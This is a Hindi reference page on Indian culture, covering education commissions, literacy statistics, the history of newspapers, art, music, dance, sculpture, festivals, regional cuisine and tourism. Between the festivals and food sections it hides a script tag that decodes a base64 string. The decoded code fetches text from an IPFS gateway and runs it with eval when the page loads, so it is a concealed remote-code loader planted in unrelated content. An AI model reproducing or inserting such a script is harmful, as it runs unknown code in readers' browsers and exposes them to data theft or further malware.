- वर्धा योजना को कई नामों से जाना जाता है यथा- बुनियादी शिक्षा, बेसिक शिक्षा आदि। गांधीजी द्वारा 1937 ई. में वर्धा नामक स्थान पर इस योजना का सूत्रपात हुआ। इसमें शिक्षा के माध्यम से हस्त उत्पादन कार्यों को महत्त्व दिया गया। इसमें बालक अपनी मातृभाषा के द्वारा 7 वर्ष तक अध्ययन करता था।
- 1944 ई. में केन्द्रीय शिक्षा सलाहकार मण्डल ने ‘सार्जेण्ट योजना’ (सार्जेण्ट भारत सरकार में शिक्षा सलाहकार थे) के नाम से एक राष्ट्रीय शिक्षा योजना प्रस्तुत की। इसमें 6 से 11 वर्ष के बच्चों के लिए नि:शुल्क अनिवार्य शिक्षा दिये जाने की व्यवस्था की गई थी।
- डॉ. सर्वपल्ली राधाकृष्णन की अध्यक्षता में सन 1948-49 में उच्च शिक्षा के सुझाव के लिए राधाकृष्णन आयोग का गठन किया गया।
- 1953 ई. में राधाकृष्णन आयोग की सिफारिशों को क्रियान्वित करने के लिए विश्वविद्यालय अनुदान अयोग की स्थापना की गयी।
- मुदालियर या माध्यमिक शिक्षा आयोग का गठन सन 1952-53 में हुआ। इसने माध्यमिक शिक्षा के लिए सुझाव दिए।
- डॉ. डी.एस. कोठारी की अध्यक्षता में जुलाई 1964 ई. में कोठारी आयोग की नियुक्ति की गई। इसने प्राथमिक शिक्षा, माध्यमिक शिक्षा और उच्च अर्थात विश्वविद्यालय शिक्षा के लिए महत्त्वपूर्ण संस्तुतियाँ या सुझाव दिये।
भारतीय इतिहास के विभिन्न युगों में साक्षरता[50]
काल
|
कुल जनसंख्या (दस लाख में)
|
शिक्षित (दस लाख में)
|
कुल प्रतिशत
|
शिक्षित पुरुष %
|
शिक्षित महिला %
|
प्राचीन भारत (300 ई.पू. से 300 ईसवी)
|
120
|
20
|
17
|
27
|
7
|
मध्यकालीन भारत (1200 ईसवी)
|
100
|
9
|
9
|
15
|
3
|
उपनिवेशककाल भारत (1900 तक)
|
300
|
18
|
6
|
11
|
0.6
|
आधुनिक भारत (1961)
|
439
|
105
|
24
|
34
|
13
|
आधुनिक भारत (1971)
|
548
|
161
|
29
|
40
|
18
|
आधुनिक भारत (1981)
|
634
|
238
|
36
|
47
|
25
|
|
उपनिवेशकालीन जनगणनाओं में दस वर्ष से अधिक आयु वर्ग में शिक्षा आँकड़े[50]
जनगणना वर्ष
|
कुल जनसंख्या
|
पुरुष
|
महिलाएं
|
1891
|
6.1
|
11.4
|
0.5
|
1901
|
6.2
|
11.5
|
0.7
|
1911
|
7.0
|
12.6
|
1.1
|
1921
|
8.3
|
14.2
|
1.9
|
1931
|
9.2
|
15.4
|
2.4
|
|
समाचार-पत्रों का इतिहास
समाचार पत्र
|
प्रकाशन स्थल
|
भाषा
|
प्रमुख हिन्दी समाचार पत्र
दैनिक जागरण
|
कानपुर, बनारस, पटना, लखनऊ, मेरठ, गोरखपुर
|
हिन्दी
|
जनसत्ता
|
कलकत्ता, दिल्ली, मुंबई, चंडीगढ़
|
हिन्दी
|
नवभारत टाइम्स
|
दिल्ली, मुंबई
|
हिन्दी
|
हिन्दुस्तान
|
बनारस, पटना, लखनऊ, दिल्ली, मुजफ्फरपुर
|
हिन्दी
|
पंजाब केसरी
|
दिल्ली, जालंधर
|
हिन्दी
|
प्रताप
|
दिल्ली
|
हिन्दी
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विश्वामित्र
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यूरोपीय लोगों के भारत में प्रवेश के साथ ही समाचारों एवं समाचार पत्रों के इतिहास की शुरुआत होती है। भारत में प्रिटिंग प्रेस लाने का श्रेय पुर्तग़ालियों को दिया जाता है। 1557 ई. में गोवा के कुछ पादरी लोगों ने भारत की पहली पुस्तक छापी। 1684 ई. में ईस्ट इण्डिया कम्पनी ने भी भारत में प्रिटिंग प्रेस (मुद्रणालय) की स्थापना की। भारत में पहला समाचार पत्र कम्पनी के एक असंतुष्ट सेवक वोल्ट्स ने 1766 ई. में निकालने का प्रयास किया, पर वह असफल रहा। भारत में प्रथम समाचार-पत्र निकालने का श्रेय जेम्स आगस्टस हिक्की को मिला। उसने 1780 ई. में बंगाल के गजट (Bangal Guzette) का प्रकाशन किया, किन्तु कम्पनी सरकार की आलोचना के कारण उसका प्रेस जब्त कर लिया गया। इस दौरान कुछ अन्य अंग्रेज़ी अख़बारों का प्रकाशन हुआ-बंगाल में कलकत्ता कैरियर, एशियाटिक मिरर, ओरिंयटल स्टार, मद्रास में मद्रास कैरियर, मद्रास गजट, बम्बई में हेराल्ड, बांबे गजट आदि। 1818 ई. में ब्रिटिश व्यापारी जेम्स सिल्क बर्किघम ने 'कलकत्ता जनरल' का सम्पादन किया। बर्किघम ही वह पहला प्रकाशक था, जिसने प्रेस को जनता के प्रतिबिम्ब के स्वरूप में प्रस्तुत किया। प्रेस का आधुनिक रूप उसी की देन है।
हिक्की तथा बर्किघम का पत्रकारिता के इतिहास में महत्त्वपूर्ण स्थान है। इन दोनों ने तटस्थ पत्रकारिता एवं स्वतंत्र लेखन का उदाहरण प्रस्तुत कर पत्रकारों को पत्रकारिता की ओर आकर्षित किया।
पहला भारतीय अंग्रेज़ी समाचार-पत्र 1816 ई. में गंगाधर भट्टाचार्य द्वारा बंगाल गजट नाम से निकाला गया। यह साप्ताहिक समाचार-पत्र था। 1818 ई. में मार्शमैन के नेतृत्व में बंगाली भाषा में दिग्दर्शन मासिक पत्र प्रकाशित हुआ। यह अल्पकालिक सिद्ध हुआ। इसी समय मार्शमैन के सम्पादन में एक साप्ताहिक समाचार-पत्र समाचार दर्पण प्रकाशित किया गया। 1821 ई. में बंगाली भाषा में साप्ताहिक समाचार पत्र संवाद कौमुदी का प्रकाशन हुआ। इस समाचार-पत्र का प्रबन्ध राजा राममोहन राय के हाथों में था। राजा राममोहन राय ने सामाजिक तथा धार्मिक विचारों के विरोधस्वरूप समाचार चन्द्रिका का मार्च, 1822 में प्रकाशन किया। इसके अतिरिक्त राय ने अप्रैल, 1822 में फ़ारसी भाषा में मिरातुल अख़बार एवं अंग्रेज़ी भाषा में ब्राह्मनिकल मैंगज़ीन का प्रकाशन किया।
समाचार-पत्र पर लगने वाले प्रतिबन्ध के अन्तर्गत 1799 ई. में वेलेजली द्वारा पत्रों का पत्रेक्षण अधिनियम (The Censorship of the Press Act) और जॉन एडम्स द्वारा 1823 ई. में अनुज्ञप्ति नियम लागू किये गये। एडम्स द्वारा समाचार पत्रों पर लगे प्रतिबन्ध के कारण राजा राममोहन राय का मिरातुल अख़बार बन्द हो गया। 1830 ई. में राजा राममोहन राय द्वारा, द्वारकनाथ टैगोर एवं प्रसन्न कुमार टैगोर के प्रयासों से बंगाली भाषा में बंगदूत का प्रकाशन आरम्भ हुआ। बम्बई से 1831 ई. में गुजराती भाषा में जामे जमशेद तथा 1851 ई. में रास्त गौफ़्तार एवं अख़बारे सौदागर का प्रकाशन हुआ।
लॉर्ड विलियम बैटिंक प्रथम गवर्नर जनरल था, जिसने प्रेस की स्वतंत्रता के प्रति उदारवादी दृष्टिकाण अपनाया। कार्यवाहक गवर्नर जनरल चार्ल्स मेटकाफ ने 1823 ई. के प्रतिबन्ध को हटाकर समाचार-पत्रों को मुक्ति दिलायी। इसे भारतीय समाचार-पत्रों का मुक्तिदाता भी कहा जाता है। मैकाले ने भी प्रेस की स्वतंत्रता का समर्थन किया। 1857-58 के विद्रोह के बाद भारत में समाचार पत्रों को भाषाई आधार के बजाय प्रजातीय आधार पर विभाजित किया गया। अंग्रेज़ी समाचार-पत्रों एवं भारतीय समाचार-पत्रों के दृष्टिकोण में अन्तर होता था। जहाँ अंग्रेज़ी समाचार-पत्रों को भारतीय समाचार-पत्रों की अपेक्षा ढेर सारी सुविधायें उपलब्ध थीं, वहीं भारतीय समाचार-पत्रों पर प्रतिबन्ध लगा था।
भारतीय कला
भारतीय कला अपनी प्राचीनता तथा विवधता के लिए विख्यात रही है। आज जिस रूप में 'कला' शब्द अत्यन्त व्यापक और बहुअर्थी हो गया है, प्राचीन काल में उसका एक छोटा हिस्सा भी न था। यदि ऐतिहासिक काल को छोड़ और पीछे प्रागैतिहासिक काल पर दृष्टि डाली जाए तो विभिन्न नदियों की घाटियों में पुरातत्त्वविदों को खुदाई में मिले असंख्य पाषाण उपकरण भारत के आदि मनुष्यों की कलात्मक प्रवृत्तियों के साक्षात प्रमाण हैं। पत्थर के टुकड़े को विभिन्न तकनीकों से विभिन्न प्रयोजनों के अनुरूप स्वरूप प्रदान किया जाता था। हस्तकुल्हाड़े, खुरचनी, छिद्रक, तक्षिणियाँ तथा बेधक आदि पाषाण-उपकरण सिर्फ़ उपयोगिता की दृष्टि से ही महत्त्वपूर्ण नहीं थे, बल्कि उनका कलात्मक पक्ष भी ज्ञातव्य है। जैसे-जैसे मनुष्य सभ्य होता गया उसकी जीवन शैली के साथ-साथ उसका कला पक्ष भी मज़बूत होता गया। जहाँ पर एक ओर मृदभांण्ड, भवन तथा अन्य उपयोगी सामानों के निर्माण में वृद्धि हुई वहीं पर दूसरी ओर आभूषण, मूर्ति कला, मुहर निर्माण, गुफ़ा चित्रकारी आदि का भी विकास होता गया। भारत के उत्तर-पश्चिमी भाग में विकसित सैंधव सभ्यता (हड़प्पा सभ्यता) भारत के इतिहास के प्रारम्भिक काल में ही कला की परिपक्वता का साक्षात् प्रमाण है। खुदाई में लगभग 1,000 केन्द्रों से प्राप्त इस सभ्यता के अवशेषों में अनेक ऐसे तथ्य सामने आये हैं, जिनको देखकर बरबर ही मन यह मानने का बाध्य हो जाता है कि हमारे पूर्वज सचमुच उच्च कोटि के कलाकार थे।
विश्व विरासत सूची (यूनेस्को) में शामिल भारतीय धरोहर
क्रम
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धरोहर
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घोषणा वर्ष
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ऐतिहासिक काल में भारतीय कला में और भी परिपक्वता आई। मौर्य काल, कुषाण काल और फिर गुप्त काल में भारतीय कला निरन्तर प्रगति करती गई। अशोक के विभिन्न शिलालेख, स्तम्भलेख और स्तम्भ कलात्मक दृष्टि से अत्यन्त महत्त्वपूर्ण हैं। सारनाथ स्थित अशोक स्तम्भ और उसके चार सिंह व धर्म चक्र युक्त शीर्ष भारतीय कला का उत्कृष्ट नमूना है। कुषाण काल में विकसित गांधार और मथुरा कलाओं की श्रेष्ठता जगजाहिर है। गुप्त काल सिर्फ़ राजनीतिक और आर्थिक दृष्टि से ही सम्पन्न नहीं था, कलात्मक दृष्टि से भी वह अत्यन्त सम्पन्न था। तभी तो इतिहासकारों ने उसे प्राचीन भारतीय इतिहास का 'स्वर्ण युग' कहा है। पूर्व मध्ययुग में निर्मित विशालकाय मन्दिर, क़िले तथा मूर्तियाँ तथा उत्तर मध्ययुग के इस्लामिक तथा भारतीय कला के संगम से युक्त अनेक भवन, चित्र तथा अन्य कलात्मक वस्तुएँ भारतीय कला की अमूल्य धरोहर हैं। आधुनिक युग में भारतीय कला पर पाश्चात्य कला का प्रभाव पड़ा। उसकी विषय वस्तु, प्रस्तुतीकरण के तरीक़े तथा भावाभिव्यक्ति में विविधता एवं जटिलता आई। आधुनिक कला अपने कलात्मक पक्ष के साथ-साथ उपयोगिता पक्ष को भी साथ लेकर चल रही है। यद्यपि भारत के दीर्घकालिक इतिहास में कई ऐसे काल भी आये, जबकि कला का ह्रास होने लगा, अथवा वह अपने मार्ग से भटकती प्रतीत हुई, परन्तु सामान्य तौर पर यह देखा गया कि भारतीय जनमानस कला को अपने जीवन का एक अंश मानकर चला है। वह कला का विकास और निर्माण नहीं करता, बल्कि कला को जीता है। उसकी जीवन शैली और जीवन का हर कार्य कला से परिपूर्ण है। यदि एक सामान्य भारतीय की जीवनचर्या का अध्ययन किया जाय तो, स्पष्ट होता है कि उसके जीवन का हर एक पहलू कला से परिपूर्ण है। जीवन के दैनिक क्रिया-कलापों के बीच उसके पूजा-पाठ, उत्सव, पर्व-त्योहार, शादी-विवाह या अन्य घटनाओं से विविध कलाओं का घनिष्ट सम्बन्ध है। इसीलिए भारत की चर्चा तब तक अपूर्ण मानी जाएगी, जब तक की उसके कला पक्ष को शामिल न किया जाय। प्राचीन भारतीय ग्रन्थों में 64 कलाओं का उल्लेख मिलता है, जिनका ज्ञान प्रत्येक सुसंस्कृत नागरिक के लिए अनिवार्य समझा जाता था। इसीलिए भर्तृहरि ने तो यहाँ तक कह डाला 'साहित्य, संगीत, कला विहीनः साक्षात् पशुः पुच्छविषाणहीनः।' अर्थात् साहित्य, संगीत और कला से विहीन व्यक्ति पशु के समान है।
'कला' शब्द की उत्पत्ति कल् धातु में अच् तथा टापू प्रत्यय लगाने से हुई है (कल्+अच्+टापू), जिसके कई अर्थ हैं—शोभा, अलंकरण, किसी वस्तु का छोटा अंश या चन्द्रमा का सोलहवां अंश आदि। वर्तमान में कला को अंग्रेज़ी के 'आर्ट' शब्द का उपयोग समझा जाता है, जिसे पाँच विधाओं—संगीतकला, मूर्तिकला, चित्रकला, वास्तुकला और काव्यकला में वर्गीकृत किया जाता है। इन पाँचों को सम्मिलित रूप से ललित कलाएँ कहा जाता है। वास्वत में कला मानवा मस्तिष्क एवं आत्मा की उच्चतम एवं प्रखरतम कल्पना व भावों की अभिव्यक्ति ही है, इसीलिए कलायुक्त कोई भी वस्तु बरबस ही संसार का ध्यान अपनी ओर आकृष्ट कर लेती है। साथ ही वह उन्हें प्रसन्नचित्त एवं आहलादित भी कर देती है। वास्तव में यह कलाएँ व्यक्ति की आत्मा को झंझोड़ने की क्षमता रखती हैं। यह उक्ति कि भारतीय संगीत में वह जादू था कि दीपक राग के गायन से दीपक प्रज्जवलित हो जाता था तथा पशु-पक्षी अपनी सुध-बुध खो बैठते थे, कितना सत्य है, यह कहना तो कठिन है, लेकिन इतना तो सत्य है कि भारतीय संगीत या कला का हर पक्ष इतना सशक्त है कि संवेदनविहीन व्यक्ति में भी वह संवेदना के तीव्र उद्वेग को उत्पन्न कर सकता है।
भारतीय संगीत
प्रमुख वाद्य यंत्र एवं कलाकार
सितार
|
पंडित रविशंकर, निखिल बैनर्जी, विलायत ख़ाँ, बंदे हसन, शाहिद परवेज, उमाशंकर मिश्र, बुद्धादित्य मुखर्जी आदि।
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तबला
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अल्ला रक्खा खाँ, गुदई महाराज, (पं. सामता प्रसाद) ज़ाकिर हुसैन, लतीफ़ ख़ाँ, किशन महाराज, फ़य्यार ख़ाँ, सुखविंदर सिंह आदि।
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बांसुरी
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पन्नालाल घोष, हरि प्रसाद चौरसिया, वी. कुंजमणि, एन. नीला, राजेन्द्र प्रसन्ना, राजेन्द्र कुलकर्णी आदि।
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सरोद
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अमजद अली ख़ाँ, अली अकबर ख़ान, अलाउद्दीन ख़ाँ, विश्वजीत राय चौधरी, ज़रीन दारूवाला, बुद्धदेव दास गुप्ता, मुकेश शर्मा आदि।
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वायलिन
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डॉ. एन. राजन, विष्णु गोविंद जोग, एल. सुब्रह्मण्यम्, संगीता राजन, कुनक्कड़ी वैद्यनाथन, टी. एन. कृष्णन् आदि।
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वीणा
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एस. बालचंद्रन, कल्याण कृष्ण भागवतार, बदरूद्दीन डागर, वी. दोरेस्वामी अयंगर आदि।
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शहनाई
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बिस्मिल्ला ख़ाँ, दयाशंकर जगन्नाथ, अली अहमद हुसैन ख़ाँ आदि।
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संतूर
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शिवकुमार शर्मा, भजन सोपारी आदि।
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पखावज
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गोपाल दास, उस्ताद रहमान ख़ाँ, छत्रपति सिंह, ठाकुर लक्ष्मण सिंह आदि।
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रुद्रवीणा
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असद अली ख़ाँ, उस्ताद सादिक अली ख़ाँ आदि।
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मृदंग
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पालधार रघु, ठाकुर भीकम सिंह, डॉ. जगदीश सिंह आदि।
|
संगीत मानवीय लय एवं तालबद्ध अभिव्यक्ति है। भारतीय संगीत अपनी मधुरता, लयबद्धता तथा विविधता के लिए जाना जाता है। वर्तमान भारतीय संगीत का जो रूप दृष्टिगत होता है, वह आधुनिक युग की प्रस्तुति नहीं है, बल्कि यह भारतीय इतिहास के प्रासम्भ के साथ ही जुड़ा हुआ है। बैदिक काल में ही भारतीय संगीत के बीज पड़ चुके थे। सामवेद उन वैदिक ॠचाओं का संग्रह मात्र है, जो गेय हैं। प्राचीन काल से ही ईश्वर आराधना हेतु भजनों के प्रयोग की परम्परा रही है। यहाँ तक की यज्ञादि के अवसर पर भी समूहगान होते थे।
भारतीय संगीत की उत्पत्ति
भारतीय संगीत की उत्पत्ति वेदों से मानी जाती है। वादों का मूल मंत्र है - 'ऊँ' (ओऽम्) । (ओऽम्) शब्द में तीन अक्षर अ, उ तथा म् सम्मिलित हैं, जो क्रमशः ब्रह्मा अर्थात् सृष्टिकर्ता, विष्णु अर्थात् जगत् पालक और महेश अर्थात् संहारक की शक्तियों के द्योतक हैं। इन तीनों अक्षरों को ॠग्वेद, सामवेद तथा यजुर्वेद से लिया गया है। संगीत के सात स्वर षड़ज (सा), ॠषभ (र), गांधार (गा) आदि वास्तव में ऊँ (ओऽम्) या ओंकार के ही अन्तविर्भाग हैं। साथ ही स्वर तथा शब्द की उत्पत्ति भी ऊँ के गर्भ से ही हुई है। मुख से उच्चारित शब्द ही संगीत में नाद का रूप धारण कर लेता है। इस प्रकार 'ऊँ' को ही संगीत का जगत माना जाता है। इसीलिए कहा जाता है कि जो साधक 'ऊँ' की साधना करने में समर्थ होता है, वही संगीत को यथार्थ रूप में ग्रहण कर सकता है। यदि दार्शनिक दृष्टि से इसका गूढ़ार्थ निकाला जाय, तो इसका तात्पर्थ यही है कि ऊँ अर्थात् सम्पूर्ण सृष्टि का एक अंश हमारी आत्मा में निहित है और संगीत उसी आत्मा की आवाज़ है, अंतः संगीत की उत्पत्ति हृदयगत भावों में ही मानी जाती है।
भारतीय संगीत के रूप
प्राचीन काल में भारतीय संगीत के दो रूप प्रचलित हुए-1. मार्गी तथा 2. देशी। कालातर में मार्गी संगीत लुप्त होता गया। साथ ही देशी संगीत्य दो रूपों में विकसित हुआ- (i) शास्त्रीय संगीत तथा (ii) लोक संगीत। शास्त्रीय संगीत शास्त्रों पर आधारीत तथा विद्वानों व कलाकरों के अध्ययन व साधना का प्रतिफल था। यह अत्यंत नियमबद्ध तथा श्रेष्ठ संगीत था। दूसरी ओर लोक संगीत काल और स्थान के अनुरूप प्रकृति के स्वच्छन्द वातावरण में स्वाभाविक रूप से पलता हुआ विकसित होता रहा, अतः यह अधिक विविधतापूर्ण तथा हल्का-फुल्का व चित्ताकर्षक है।
भारतीय संगीत के विविध अंग
संगीत से सम्बंधित कुछ मूलभूत तथ्यों को जानकर ही संगीत की बारीकियों को समझा जा सकता है। ध्वनि, स्वर, लय, ताल आदि इसके अन्तर्गत आते हैं।
नृत्य कला
भारत में नृत्य की अनेक शैलियाँ हैं। भरतनाट्यम , ओडिसी , कुचिपुड़ी , कथकली ,मणिपुरी , कथक आदि परंपरागत नृत्य शैलियाँ हैं तो भंगड़ा , गिद्दा , नगा , बिहू आदि लोकप्रचलित नृत्य है। ये नृत्य शैलियाँ पूरे देश में विख्यात है। गुजरात का गरबा हरियाणा में भी मंचो की शोभा को बढ़ाता है और पंजाब का भंगड़ा दक्षिण भारत में भी बड़े शौक़ से देखा जाता है !
भारत के संगीत को विकसित करने में अमीर ख़ुसरो, तानसेन, बैजू बावरा जैसे संगीतकारों का विशेष योगदान रहा है। आज भारत के संगीत-क्षितिज पर बिस्मिल्ला ख़ाँ, ज़ाकिर हुसैन , रवि शंकर समान रूप से सम्मानित हैं।
विविध नृत्य कला
भारतीय मूर्तिकला
अन्य कलाओं के समान ही भारतीय मूर्तिकला भी अत्यन्त प्राचीन है। यद्यपि पाषाण काल में भी मानव अपने पाषाण उपकरणों को कुशलतापूर्वक काट-छाँटकर विशेष आकार देता था और पत्थर के टुकड़े से फलक निकालते हेतु 'दबाव' तकनीक या पटककर तोड़ने की तकनीक का इस्तेमाल करने लगा था, परन्तु भारत में मूर्तिकला अपने वास्तविक रूप में हड़प्पा सभ्यता के दौरान ही अस्तित्व में आई। इस सभ्यता की खुदाई में अनेक मूर्तियाँ प्राप्त हुई हैं जो लगभग 4000 वर्ष पूर्व ही भारत में मूर्ति निर्माण तकनीक के विकास का द्योतक हैं। भारतीय मूर्ति कला की प्रमुख शैलियाँ इस प्रकार हैं-
- सिंधु घाटी सभ्यता की मूर्ति कला
- मौर्य मूर्तिकला
- मौर्योत्तर मूर्तिकला
- गान्धार कला की मूर्तियाँ
- मथुरा कला की मूर्तियाँ
- गुप्तकाल की मूर्तिकला
- बाकाटक की मूर्तिकला
- मध्यकाल की भारतीय मूर्तिकला
- चोल मूर्तिकला
- आधुनिक मूर्तिकाल
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राष्ट्रीय चिन्ह और प्रतीक
त्योहार और मेले
त्योहार और मेले भारतीय संस्कृति के अभिन्न अंग हैं। यह भी कह सकते हैं कि भारतीय संस्कृति अपने हृदय के माधुर्य को त्योहार और मेलों में व्यक्त करती है, तो अधिक सार्थक होगा। भारतीय संस्कृति प्रेम, सौहार्द्र, करुणा, मैत्री, दया और उदारता जैसे मानवीय गुणों से परिपूर्ण है। यह उल्लास, उत्साह और विकास को एक साथ समेटे हुए है। आनन्द और माधुर्य तो जैसे इसके प्राण हैं। यहाँ हर कार्य आनन्द के साथ शुरू होता है और माधुर्य के साथ सम्पन्न होता है। भारत जैसे विशाल धर्मप्राण देश में आस्था और विश्वास के साथ मिल कर यही आनन्द और उल्लास त्योहार और मेलों में फूट पड़ता है। त्योहार और मेले हमारी धार्मिक आस्थाओं, सामाजिक परम्पराओं और आर्थिक आवश्यकताओं की त्रिवेणी है, जिनमें समूचा जनमानस भावविभोर होकर गोते लगाता है। यही कारण है कि जितने त्योहार और मेले भारत में मनाये जाते हैं, विश्व के किसी अन्य देश में नहीं। इस दृष्टि से यदि भारत को त्योहार और मेलों का देश कहा जाए तो अतिश्योक्ति नहीं होगी। हिमाचल से लेकर सुदूर दक्षिण तक और असम से लेकर महाराष्ट्र तक व्रत, पर्वों, त्योहारों और मेलों की अविच्छिन्न परम्परा विद्यमान है, जो पूरे वर्ष अनवरत चलती रहती है।
इन्हें भी देखें: व्रत और उत्सव
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
भारतीय भोजन
भोजन के विविध रूप
पारंपरिक क्षेत्रीय भोजन
क्रम
|
क्षेत्रीय भोजन
|
भोजन
|
1
|
कश्मीर
|
यख़नी, कश्मीरी पुलाव, गुश्तावा, कश्मीरी गोभी
|
2
|
पंजाब
|
सरसों का साग, मक्के की रोटी, राजमा- चावल, तंदूरी मुर्ग़ा, दाल मखनी, छोले भटूरे
|
3
|
ब्रज
|
पूरी- सब्जी, परांठा (सादा, भरवां), रोटी (आटा, बाजरा, मिस्सी), दाल (उड़द), चाट, कचौड़ी (दाल, आलू), दही बड़े, मिठाई, खीर, हलवा (गाजर, मूँग दाल, लॉकी, सूजी), पुआ, रबड़ी
|
4
|
राजस्थान- गुजरात
|
दाल बाटी, चूरमा, पापड़ की सब्ज़ी, गट्टे की कढ़ी
|
5
|
गुजरात
|
ढोकला, खांडवी, लप्सी, बाफला, थेपला, पोहा
|
6
|
मराठी
|
वड़ा पाव, श्रीखंड, भेलपूरी, पूरन पोली
|
7
|
कोंकणी (गोआनी)
|
धनसाक, विंडालू
|
8
|
केरल
|
अप्पम, अवियल, फिश मोली, उपमा, उत्तपम
|
9
|
चेन्नई
|
इडली, सांभर, डोसा, मैसूर पाक
|
10
|
हैदराबाद
|
हैदराबादी बिरयानी, दाल गोश्त
|
11
|
अवध
|
दम पुख्त, बिरयानी, काकोरी कबाब, शामी कबाब, मलाई गिलौरी, दाल (अरहर)
|
12
|
पूर्वोत्तर
|
मोमो, थुपका, फिश टेंगा
|
13
|
पूर्वी भारत
|
भाप्पा इलिश, माछ झोल, रोशोगुल्ला, संदेश (मिठाई)
|
भारतीय भोजन स्वाद और सुगंध का मधुर संगम है। पूरन पूरी हो या दाल बाटी, तंदूरी रोटी हो या शाही पुलाव, पंजाबी भोजन हो या मारवाड़ी भोजन, ज़िक्र चाहे जिस किसी का भी हो रहा हो, केवल नाम सुनने से ही भूख जाग उठती है। भारत में पकवानों की विविधता भी बहुत अधिक है। राजस्थान में दाल-बाटी, कोलकाता में चावल-मछली, पंजाब में रोटी-साग, दक्षिण में इडली-डोसा। इतनी विविधता के बीच एकता का प्रमाण यह है कि आज दक्षिण भारत के लोग दाल-रोटी उसी शौक़ से खाते हैं, जितने शौक़ से उत्तर भारतीय इडली-डोसा खाते हैं। सचमुच भारत एक रंगबिरंगा गुलदस्ता है।
भारतीय संस्कृति में भोजन पकाने को पाक कला कहा गया है अर्थात् भोजन बनाना एक कला है। भारतीय भोजन तो विभिन्न प्रकार की पाक कलाओं का संगम ही है। इसमें पंजाबी भोजन, मारवाड़ी भोजन, दक्षिण भारतीय भोजन, शाकाहारी भोजन (निरामिष), मांसाहारी (सामिष) भोजन आदि सभी सम्मिलित हैं। भारतीय भोजन की सबसे बड़ी विशेषता तो यह है कि आपको कई प्रकार के भोजन न भी मिलें तो भी आपको आम का अचार या नीबू का अचार या फिर टमाटर की चटनी से भी भरपूर स्वाद प्राप्त होता है।
भारतीय भोजन के प्रकार
- शाकाहारी भोजन (निरामिष)- शाकाहारी भोजन वह भोजन है जिसमें मांस, मछली, और अंडे का प्रयोग नहीं होता है।
- मांसाहारी भोजन (सामिष)- मांसाहारी भोजन वह भोजन है जिसमें मांस, मछली, और अंडे का प्रयोग होता है।
पर्यटन
भारतवासी अपनी दीर्घकालीन, अनवरत एवं सतरंगी उपलब्धियों से युक्त इतिहास पर गर्व कर सकते हैं। प्राचीन काल से ही भारत एक अत्यन्त ही विविधता सम्पन्न देश रहा है और यह विशेषता आज भी समय की घड़ी पर अंकित है। यहाँ प्रारम्भ से अनेक अध्यावसायों का अनुसरण होता रहा है, पृथक्-पृथक् मान्यताएँ हैं, लोगों के रिवाज़ और दृष्टिकोणों के विभिन्न रंगों से सज़ा यह देश अतीत को भूत, वर्तमान एवं भविष्य की आँखों से देखने के लिए आह्वान कर रहा है। किन्तु बहुरंगी सभ्यता एवं संस्कृति वाले देश के सभी आयामों को समझने का प्रयास इतना आसान नहीं है।
ऐतिहासिक स्थल
हमें यह नहीं भूलना चाहिए कि भारत में इतने अधिक विचार एवं दृष्टिकोण केवल इसीलिए फल-फूल पाएँ हैं कि यहाँ वैचारिक विविधता और वाद-संवाद को प्रायः सर्व- सहमति प्राप्त रही है। भारत की विविधता हमें स्थलों के अनुशीलन में भी दिखाई देती है। ऐतिहासिक स्थलों के अध्ययन तथा विवेचन में भारतीय संस्कृति का स्वरूप स्वयं प्रकाशित होता है। इससे इतिहास के बिखरे सूत्रों की प्रभावी रूप से तलाश संभव है। यह भी उल्लेखनीय है कि नगर एवं नगर-जीवन के विकास का विविरण सभ्यता के विकास का प्रधान सूत्र है। राजनीतिक और आर्थिक प्रगति तथा शिल्प, कला एवं विद्या का बहुमुखी विकास के साथ ही सम्पन्न हुआ है।
प्राचीन धार्मिक स्थल
प्राचीन काल से ही भव्य देवालयों और धर्म स्थलों से भरपूर भारत स्थापत्य कला के लिए विश्व प्रसिद्ध है।
धार्मिक स्थल
अनेक धर्म और परंपराओं से सज़ा भारत अपने भीतर हज़ारों धार्मिक स्थल बसाए हुए है। जो पूरे भारत में देशी और विदेशी पर्यटकों और श्रद्धालुओं का मुख्य आकर्षण हैं।
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टीका टिप्पणी और संदर्भ
- ↑
सत्यमेव जयते नानृतं सत्येन पंथा विततो देवयानः।
येनाक्रमन्त्यृषयो ह्याप्तकामा यत्र सत्सत्यस्य परमं निधानम्॥
मुण्डकोपनिषद् तृतीय मुण्डक श्लोक 6
- ↑ 2.0 2.1 India : Census 2011
- ↑ Population Density per Square Mile of Countries
- ↑ 4.0 4.1 4.2 4.3
Report for Selected Countries and Subjects (अंग्रेज़ी) (ए.एस.पी) International Monetory Fund। अभिगमन तिथि: 15 मई, 2012।
- ↑ सितम्बर 2006-2011 की स्थिति के अनुसार
- ↑ प्राचीन भारत की संस्कृति और सभ्यता लेखक- दामोदर धर्मानंद कोसंबी
- ↑ इतिहास कारों के अनुसार यह प्राचीन भरतों का क़बीला भरत है जो उत्तर-पश्चिम में था भरत वंशी भी इन्हें ही माना जाता है
- ↑ 1975 ई. में पुर्तग़ाली शासन ने वास्तविकता को समझकर इसको वैधानिक मान्यता दे दी है।
- ↑ (विश्व का 2.2% विश्व में 7वां स्थान)
- ↑ एकदम दक्षिणी भाग की भूमध्य रेखा से दूरी
- ↑ उत्तर में हिमालय पर्वतमाला से लगे हुए चीन, नेपाल तथा भूटान, पूर्व में पर्वतीय श्रृंखला से अलग हुआ म्यान्मार तथा पूर्व में ही बांग्लादेश, पश्चिम में पाकिस्तान एवं अफ़ग़ानिस्तान तथा दक्षिण में हिन्द महासागर, बंगाल की खाड़ी एवं अरब सागर।
- ↑ द्वीपों सहित समुद्री सीमा की कुल लंबाई
- ↑ स्थलीय सीमा की लंबाई
- ↑ संघशासित क्षेत्रों की संख्या
- ↑ बंगाल की खाड़ी में द्वीपों की संख्या- 204, अरब सागर में द्वीपों की संख्या- 43।
- ↑ वे राज्य जिनसे होकर कर्क रेखा गुजरती है
- ↑ सर्वाधिक नगरीय जनसंख्या वाला संघ शासित क्षेत्र
- ↑ सबसे कम नगरीय जनसंख्या वाला संघ शासित क्षेत्र
- ↑ क्षेत्रफल की दृष्टि से सबसे बड़ा संघशासित क्षेत्र
